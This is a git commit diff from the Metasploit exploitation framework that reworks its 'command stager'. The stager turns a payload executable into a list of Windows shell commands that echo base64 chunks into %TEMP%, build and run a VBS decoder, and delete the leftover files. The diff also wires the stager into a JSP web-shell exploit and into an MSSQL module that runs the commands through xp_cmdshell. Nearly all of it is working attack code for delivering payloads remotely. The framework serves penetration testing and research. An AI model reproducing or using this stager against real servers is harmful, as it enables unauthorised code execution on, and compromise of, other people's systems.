big update to cmd stager
1. returns array of commands instead of big blob of lines 2. combine lines together when possible (to reduce # of commands to execute) 3. add cmd stager usage in mssql_payload 4. remove extraneous stuff here and there git-svn-id: file:///home/svn/framework3/trunk@8721 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
d8818fc268
commit
73da75a931
|
@ -14,7 +14,7 @@ module Exploit::CmdStager
|
|||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
@cmdstager = nil
|
||||
@cmd_list = nil
|
||||
end
|
||||
|
||||
|
||||
|
@ -34,37 +34,25 @@ module Exploit::CmdStager
|
|||
end
|
||||
|
||||
cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch)
|
||||
cstager = cmdstager.generate(opts, linelen)
|
||||
cmd_list = cmdstager.generate(opts, linelen)
|
||||
|
||||
if (cstager.nil?)
|
||||
print_error("The cmdstager could not be generated")
|
||||
if (cmd_list.nil? or cmd_list.length < 1)
|
||||
print_error("The command stager could not be generated")
|
||||
raise ArgumentError
|
||||
end
|
||||
|
||||
@cmdstager = cstager
|
||||
return cstager
|
||||
@cmd_list = cmd_list
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Show the progress of the upload (XXX: uses printf/print)
|
||||
# Show the progress of the upload
|
||||
#
|
||||
def progress(total, sent)
|
||||
|
||||
done = (sent.to_f / total.to_f) * 100
|
||||
|
||||
if (done.to_f < 99.00)
|
||||
printf("\r\e[0K[ cmdstager %3.2f%% done (%d/%d bytes) ]", done.to_f, sent, total)
|
||||
$stdout.flush
|
||||
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
|
||||
end
|
||||
|
||||
if(done.to_f > 99.00 && done.to_f < 100.00)
|
||||
# just to beautify output so the handler output will kick in
|
||||
print "\r\e[0K"
|
||||
$stdout.flush
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -13,131 +13,119 @@ module Exploitation
|
|||
|
||||
class CmdStager
|
||||
|
||||
module Windows
|
||||
Alias = "win"
|
||||
|
||||
module X86
|
||||
Alias = ARCH_X86
|
||||
end
|
||||
|
||||
module X86_64
|
||||
Alias = ARCH_X86_64
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def initialize(payload, framework, platform, arch = nil)
|
||||
@var_decoder = Rex::Text.rand_text_alpha(5)
|
||||
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||
@var_batch = Rex::Text.rand_text_alpha(5)
|
||||
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
|
||||
@framework = framework
|
||||
@exes = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
|
||||
@linelen = 2047 # covers most likely cases
|
||||
|
||||
platform = platform.names[0] if (platform.kind_of?(Msf::Module::PlatformList))
|
||||
|
||||
# Use the first architecture if one was specified
|
||||
arch = arch[0] if (arch.kind_of?(Array))
|
||||
|
||||
if platform.nil?
|
||||
raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter"
|
||||
# XXX: TODO: support multipl architectures/platforms
|
||||
@exe = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
|
||||
end
|
||||
|
||||
CmdStager.constants.each { |c|
|
||||
mod = self.class.const_get(c)
|
||||
|
||||
next if ((!mod.kind_of?(::Module)) or
|
||||
(!mod.const_defined?('Alias')))
|
||||
|
||||
if (platform =~ /#{mod.const_get('Alias')}/i)
|
||||
self.extend(mod)
|
||||
|
||||
if (arch and mod)
|
||||
mod.constants.each { |a|
|
||||
amod = mod.const_get(a)
|
||||
|
||||
next if ((!amod.kind_of?(::Module)) or
|
||||
(!amod.const_defined?('Alias')))
|
||||
|
||||
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
||||
amod = mod.const_get(a)
|
||||
|
||||
self.extend(amod)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
# generates the cmd payload including the h2bv2 decoder and encoded payload
|
||||
# also performs cleanup and removed any left over files
|
||||
#
|
||||
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
||||
# The resulting commands also perform cleanup, removing any left over files
|
||||
#
|
||||
def generate(opts = {}, linelen = 200)
|
||||
@linelen = linelen
|
||||
cmd = payload_exe
|
||||
|
||||
return cmd
|
||||
# Return the output from payload_exe
|
||||
payload_exe(opts)
|
||||
end
|
||||
|
||||
def payload_exe(persist = false)
|
||||
|
||||
if(persist)
|
||||
opts = {:persist => true}
|
||||
else
|
||||
opts = {}
|
||||
end
|
||||
#
|
||||
# This does the work of actually building an array of commands that
|
||||
# when executed will create and run an executable payload.
|
||||
#
|
||||
def payload_exe(opts)
|
||||
|
||||
decoder = generate_decoder()
|
||||
persist = opts[:persist]
|
||||
|
||||
exe = @exes.dup
|
||||
encoded = encode_payload(exe)
|
||||
# Initialize an arry of commands to execute
|
||||
cmds = []
|
||||
|
||||
stage = encoded + decoder
|
||||
stage << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs\n"
|
||||
# Add the exe building commands (write to .b64)
|
||||
cmds += encode_payload()
|
||||
|
||||
# Add the decoder script building commands
|
||||
cmds += generate_decoder()
|
||||
|
||||
# Make it all happen
|
||||
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
|
||||
|
||||
# If we're not persisting, clean up afterwards
|
||||
if (not persist)
|
||||
stage << "del %TEMP%\\#{@var_decoder}.vbs\n"
|
||||
stage << "del %TEMP%\\#{@var_encoded}.b64\n"
|
||||
cmds << "del %TEMP%\\#{@var_decoder}.vbs"
|
||||
cmds << "del %TEMP%\\#{@var_encoded}.b64"
|
||||
end
|
||||
|
||||
return stage
|
||||
# Compress commands into as few lines as possible.
|
||||
new_cmds = []
|
||||
line = ''
|
||||
cmds.each { |cmd|
|
||||
# If this command will fit...
|
||||
if ((line.length + cmd.length + 4) < @linelen)
|
||||
line << " & " if line.length > 0
|
||||
line << cmd
|
||||
else
|
||||
# It won't fit.. If we don't have something error out
|
||||
if (line.length < 1)
|
||||
raise RuntimeError, 'Line fit problem -- file a bug'
|
||||
end
|
||||
# If it won't fit even after emptying the current line, error out..
|
||||
if (cmd.length > @linelen)
|
||||
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
|
||||
end
|
||||
new_cmds << line
|
||||
line = ''
|
||||
line << cmd
|
||||
end
|
||||
}
|
||||
new_cmds << line if (line.length > 0)
|
||||
|
||||
# Return the final array.
|
||||
new_cmds
|
||||
end
|
||||
|
||||
|
||||
def generate_decoder()
|
||||
decoder = File.read(@decoder, File.size(@decoder))
|
||||
# Read the decoder data file
|
||||
f = File.new(@decoder, "rb")
|
||||
decoder = f.read(f.stat.size)
|
||||
f.close
|
||||
|
||||
# Replace variables
|
||||
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
|
||||
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
|
||||
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
|
||||
|
||||
return decoder
|
||||
# Split it apart by the lines
|
||||
decoder.split("\n")
|
||||
end
|
||||
|
||||
def encode_payload(cmd)
|
||||
tmp = Rex::Text.encode_base64(cmd)
|
||||
encoded = ""
|
||||
|
||||
buf = buffer_exe(tmp)
|
||||
buf.each_line { | line |
|
||||
encoded << "echo " << line.chomp << ">>%TEMP%\\#{@var_encoded}.b64\n"
|
||||
}
|
||||
def encode_payload()
|
||||
tmp = Rex::Text.encode_base64(@exe)
|
||||
orig = tmp.dup
|
||||
|
||||
return encoded
|
||||
cmds = []
|
||||
l_start = "echo "
|
||||
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
|
||||
xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
|
||||
while (tmp.length > 0)
|
||||
cmd = ''
|
||||
cmd << l_start
|
||||
cmd << tmp.slice!(0, (@linelen - xtra_len))
|
||||
cmd << l_end
|
||||
cmds << cmd
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# restricts line length of commands so that the commands will not exceed
|
||||
# user specified values or os_detect set linelen
|
||||
# each line will never exceed linelen bytes in length
|
||||
def buffer_exe(buf)
|
||||
0.upto(buf.length) do | offset |
|
||||
if(offset % @linelen == 0 && offset != 0 || offset == buf.length)
|
||||
buf.insert(offset, "\n")
|
||||
end
|
||||
end
|
||||
return buf
|
||||
cmds
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -61,33 +61,37 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
false
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
generate_cmdstager()
|
||||
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5)
|
||||
cmd_list = generate_cmdstager()
|
||||
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
|
||||
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
def http_send_cmd(opts, delay = 0.5)
|
||||
|
||||
len = @cmdstager.length
|
||||
def http_send_cmd(opts, delay = 0.5, cmd_list)
|
||||
|
||||
total_bytes = 0
|
||||
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||
|
||||
sent = 0
|
||||
|
||||
@cmdstager.each_line{ |cmd|
|
||||
|
||||
cmd_list.each { |cmd|
|
||||
opts.each { |key, value|
|
||||
value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd))
|
||||
|
||||
resp = send_request_raw(opts, 5)
|
||||
value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS')
|
||||
|
||||
sent = sent + cmd.length
|
||||
sent += cmd.length
|
||||
|
||||
# so multi threaded servers can place data in files in the correct order
|
||||
select(nil, nil, nil, delay)
|
||||
}
|
||||
|
||||
progress(len, sent)
|
||||
progress(total_bytes, sent)
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
cmds = generate_cmdstager({}, 2047, p)
|
||||
scr = ""
|
||||
cmds.each_line { |ln|
|
||||
ln.chomp!
|
||||
cmds.each { |ln|
|
||||
scr << " f.writeString('"
|
||||
scr << ln
|
||||
scr << "\\n');\n"
|
||||
|
|
|
@ -15,8 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
def initialize(info = {})
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server Payload Execution',
|
||||
'Description' => %q{
|
||||
|
@ -27,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Note that this module will leave a metasploit payload in the Windows
|
||||
System32 directory which must be manually deleted once the attack is completed.
|
||||
},
|
||||
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],
|
||||
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
|
@ -46,20 +47,47 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
||||
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
debug = false # enable to see the output
|
||||
debug = datastore['VERBOSE'] # enable to see the output
|
||||
|
||||
if(not mssql_login_datastore)
|
||||
print_status("Invalid SQL Server credentials")
|
||||
return
|
||||
end
|
||||
|
||||
# Use the CmdStager or not?
|
||||
if (not datastore['UseCmdStager'])
|
||||
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
|
||||
else
|
||||
cmd_list = generate_cmdstager({}, 1500)
|
||||
total_bytes = 0
|
||||
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||
|
||||
sent = 0
|
||||
delay = 0.25
|
||||
|
||||
cmd_list.each { |cmd|
|
||||
mssql_xpcmdshell(cmd, debug)
|
||||
sent += cmd.length
|
||||
|
||||
# so multi threaded servers can place data in files in the correct order
|
||||
select(nil, nil, nil, delay)
|
||||
|
||||
progress(total_bytes, sent)
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue